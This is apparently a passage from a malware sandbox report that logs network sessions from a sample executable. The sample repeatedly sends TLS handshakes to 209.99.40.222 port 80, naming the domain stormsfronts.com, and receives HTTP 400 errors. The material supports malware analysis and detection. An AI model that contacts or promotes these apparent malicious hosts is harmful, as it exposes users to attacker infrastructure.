Okt 9, 2018 20:11:24.269190073 MESZ	38	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 5b 3d 61 bf 4d cb da 6a 31 25 17 56 72 6d 33 01 c7 84 2e 1f 6e 6c cc 0f 9a 9a 1d cf 49 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[[=aMj1%Vrm3.nlI
Okt 9, 2018 20:11:24.414537907 MESZ	38	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:24 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.0.42	49242	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:41.911398888 MESZ	42	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 6d 23 ed ae 92 d6 84 2b 4f 02 11 50 44 12 a3 30 1c 45 2c 3d 51 40 9f ff fc 5a b1 9d 31 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[m#+OPD0E,=Q@Z1
Okt 9, 2018 20:11:42.054349899 MESZ	42	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:41 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.0.42	49243	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:42.201288939 MESZ	43	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 6d 02 90 34 90 8c f3 22 d4 7e 6d 79 1c b2 22 0b dc 1f 88 ec ee 4a c2 4b de e3 03 a5 32 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[m4"~my"JK2935/822stormsfronts.com
Okt 9, 2018 20:11:42.344501019 MESZ	43	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:42 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.0.42	49252	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:11:59.913800955 MESZ	46	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 7f 8a a9 6a bd 21 d7 d2 ea 5d b7 43 d0 45 0c 14 0b 70 80 82 a4 cb 80 60 c1 35 a1 e5 29 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[j!]CEp`5)935/822stormsfronts.com
Okt 9, 2018 20:12:00.057878971 MESZ	46	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:11:59 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.0.42	49253	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:00.205457926 MESZ	47	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 7f 4d 66 86 d5 25 c6 db a1 d3 1c 2f 95 51 3a 58 0b 15 8f fa da b5 b6 b6 9c e4 af 01 13 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[Mf%/Q:X
Okt 9, 2018 20:12:00.349117041 MESZ	47	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:00 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.0.42	49262	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:17.915174961 MESZ	50	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd 91 e3 83 a5 76 60 d7 3a 63 0f d9 20 0d 54 67 0c 4d c5 59 92 fc 29 0a d2 5b d0 10 00 c8 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[v`:c TgMY)[
Okt 9, 2018 20:12:18.059751034 MESZ	51	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:17 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.0.42	49263	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:18.206804037 MESZ	51	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 91 77 b2 d4 2c 58 61 6c 1d a1 3e 8f b8 b0 5d 3b 13 e0 1a 9f 09 03 57 13 25 d5 07 a4 46 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[w,Xal>];W%F935/822stormsfronts.com
Okt 9, 2018 20:12:18.353142977 MESZ	52	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:18 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.0.42	49273	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:36.010736942 MESZ	55	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd a3 a1 f8 94 53 bb e8 7d d0 f9 6e fe 07 f0 ff 77 cb f5 61 93 51 29 39 df ee ff 54 de 31 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[S}nwaQ)9T1935/822stormsfronts.com
Okt 9, 2018 20:12:36.154647112 MESZ	55	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:36 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.0.42	49274	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:36.301183939 MESZ	56	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd a3 60 e6 81 d2 41 a2 d0 88 61 91 f4 85 1a 2c 76 db fe 20 89 c0 02 b7 45 f8 fb fa 6a 83 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[`Aa,v Ej
Okt 9, 2018 20:12:36.444250107 MESZ	56	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:36 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.0.42	49178	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:12.265746117 MESZ	9	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 13 91 c3 03 da 47 0f 2a 4d 0f dd 6c ad af 37 ff 5a 57 2f 98 10 ae c9 e8 53 8b 52 15 a2 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[G*Ml7ZW/SR935/822stormsfronts.com
Okt 9, 2018 20:10:12.409367085 MESZ	9	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:12 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.0.42	49326	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:54.002938986 MESZ	61	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd b5 53 07 a3 6f c7 cb c2 e7 8b fc c1 c7 01 ff df 00 42 87 05 e9 d5 4c 8c 3d 9c da f5 e6 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[SoBL=
Okt 9, 2018 20:12:54.148803949 MESZ	62	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:54 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.0.42	49327	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:54.032847881 MESZ	61	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd b5 8d 08 2b ab 24 38 a3 dd db f9 c0 c9 8c 41 ff b7 53 eb e5 21 e0 83 c6 1d da 0c f5 2f 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[+$8AS!/
Okt 9, 2018 20:12:54.176652908 MESZ	62	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:54 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.0.42	49328	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:54.302229881 MESZ	63	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd b5 c1 27 48 cc 15 81 5a 4b 4a a3 1c 5a 72 b6 1c 0a 6e 36 89 60 49 a6 d1 4c 21 bb 6d 6e 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w['HZKJZrn6`IL!mn935/822stormsfronts.com
Okt 9, 2018 20:12:54.447448969 MESZ	64	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:54 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.0.42	49329	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:54.328155994 MESZ	63	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd b5 5b 51 68 7e 9a 6d 6f ff d3 ae 6a d7 21 e6 bd 5c 0b 99 d7 71 9a 62 84 d0 02 fe 9b d4 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[[Qh~moj!\qb935/822stormsfronts.com
Okt 9, 2018 20:12:54.472482920 MESZ	64	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:54 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.0.42	49331	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:55.739305973 MESZ	65	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd b7 2e c8 4e 51 de ac f9 c6 59 92 cc ec 76 69 48 44 54 9e 33 77 3f 06 54 4d 55 9b 25 cc 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[.NQYviHDT3w?TMU%935/822stormsfronts.com
Okt 9, 2018 20:12:55.885343075 MESZ	66	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:55 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.0.42	49332	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:56.035207033 MESZ	66	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd b7 72 ce 88 80 ac b9 1a 31 59 e6 8e ad ed 65 bc 97 25 60 03 8a 3c 06 47 df d4 e5 99 c2 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[r1Ye%`<G
Okt 9, 2018 20:12:56.875504017 MESZ	67	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:56 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.0.42	49333	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:58.126185894 MESZ	68	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd b9 d2 2d 43 bb 6d cf 78 d0 e9 05 96 b5 27 97 4d 1f 20 02 fd de 3b b9 ef 23 23 50 54 66 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[-Cmx'M ;##PTf
Okt 9, 2018 20:12:58.269941092 MESZ	68	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:58 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.0.42	49334	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:58.416320086 MESZ	69	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd b9 69 30 5f 16 54 af cd 9c 4f 40 5d af 67 7a 2d f5 7a 70 2e e8 1a 5e 20 28 a4 3a 86 36 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[i0_TO@]gz-zp.^ (:6935/822stormsfronts.com
Okt 9, 2018 20:12:58.560041904 MESZ	69	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:58 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.0.42	49335	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:12:59.905889034 MESZ	70	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd bb cb d6 6b 9a 19 64 2d b7 87 9f 51 71 37 bf 73 be 22 3e 43 be 3c 1a 8b 30 14 bd 11 76 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[kd-Qq7s">C<0v935/822stormsfronts.com
Okt 9, 2018 20:13:00.050262928 MESZ	70	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:12:59 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.0.42	49337	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:00.200879097 MESZ	71	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd bb 15 32 d6 c6 23 20 37 ac a7 4f 59 a4 de f2 05 c3 db 88 44 c3 9f 79 36 4f 0a 69 b2 02 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[2# 7OYDy6Oi
Okt 9, 2018 20:13:00.345045090 MESZ	71	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:00 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.0.42	49187	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:10:30.183459044 MESZ	12	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd 25 79 bf a1 7a d8 58 b4 6c b9 b9 b3 57 87 ea 2f 30 fe 92 01 c2 f2 87 1a e8 e1 a3 2a c1 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[%yzXlW/0*935/822stormsfronts.com
Okt 9, 2018 20:10:30.327744007 MESZ	13	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:10:30 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.0.42	49338	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:01.589708090 MESZ	72	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd bd b3 59 0e e0 66 61 b9 14 80 78 88 95 1e 51 04 d0 a2 ce 1e f4 a6 01 26 38 a5 13 2e 59 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[YfaxQ&8.Y
Okt 9, 2018 20:13:01.733937025 MESZ	73	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:01 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.0.42	49339	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:01.884387970 MESZ	73	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd bd 4e 6d 1e bb 62 03 64 7b 45 2a 01 4e 48 99 28 92 f9 f4 d4 60 68 37 68 06 a8 19 93 a7 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[Nmbd{E*NH(`h7h935/822stormsfronts.com
Okt 9, 2018 20:13:02.029798985 MESZ	74	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:01 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.0.42	49345	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:12.112878084 MESZ	76	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd c7 85 94 72 19 d6 4d 60 30 57 c9 8e b7 16 51 91 1c 27 f8 e1 ed fa 44 47 93 51 0b 05 08 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[rM`0WQ'DGQ935/822stormsfronts.com
Okt 9, 2018 20:13:12.256906033 MESZ	76	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:12 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.0.42	49346	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:12.408072948 MESZ	77	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd c7 25 fb ab 6e 7b 9f bd dc de 05 64 4d 0c c4 73 2b 2a 04 fb 16 63 be a9 b3 bb 2c 92 38 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[%n{dMs+*c,8
Okt 9, 2018 20:13:12.553802013 MESZ	77	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:12 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.0.42	49355	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:30.218229055 MESZ	80	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd d9 1b cf f3 4c f4 d9 41 e0 d8 9e 5f b7 8a 40 96 aa 4d ae d3 93 61 8a a5 0f 81 0f 3c ab 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[LA_@Ma<
Okt 9, 2018 20:13:30.462845087 MESZ	80	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:30 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.0.42	49356	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:30.712734938 MESZ	81	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd da 9e b0 d8 4a 80 da aa 0e e0 61 1e 5b d8 5f a2 47 f7 fd 01 c4 e6 65 cd ad 00 74 c4 fe 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[Ja[_Get935/822stormsfronts.com
Okt 9, 2018 20:13:33.551009893 MESZ	82	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:30 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.0.42	49365	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:51.103893042 MESZ	85	OUT	Data Raw: 16 03 01 00 7b 01 00 00 77 03 01 5b bc fd ee 6b 10 17 92 52 7c 7f 3a cb 59 52 6e 1a f3 85 45 c0 6f 50 f8 99 ca 26 0f e3 ef 7e ec 00 00 1c c0 14 c0 13 00 39 00 33 00 35 00 2f c0 0a c0 09 00 38 00 32 00 0a 00 13 00 05 00 04 01 00 00 32 00 00 00 15 Data Ascii: {w[kR\|:YRnEoP&~935/822stormsfronts.com
Okt 9, 2018 20:13:51.346678019 MESZ	85	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:51 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.0.42	49366	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:13:51.591924906 MESZ	86	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fd ef ad 92 b3 46 e9 4a f5 20 69 43 38 cc bd 9b be 88 76 eb 4f 4c 5e e0 93 ad e3 86 d2 a2 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[FJ iC8vOL^
Okt 9, 2018 20:13:51.835011005 MESZ	86	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:51 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request
Okt 9, 2018 20:13:52.075371981 MESZ	87	IN	HTTP/1.1 400 Bad Request Date: Tue, 09 Oct 2018 18:13:51 GMT Server: Apache Content-Length: 19 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 34 30 30 20 49 6e 76 61 6c 69 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Invalid Request

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.0.42	49375	209.99.40.222	80	C:\Users\user\Desktop\8UT1RfjZ0z.exe

Timestamp	kBytes transferred	Direction	Data
Okt 9, 2018 20:14:08.990134001 MESZ	89	OUT	Data Raw: 16 03 00 00 35 01 00 00 31 03 00 5b bc fe 00 de 93 84 66 6f 2c dd d4 47 cb cf c9 5f 67 51 a1 21 71 bb b4 2a 5f fc f8 9e af fd f8 00 00 0a 00 0a 00 13 00 05 00 04 00 ff 01 00 Data Ascii: 51[fo,G_gQ!q*_
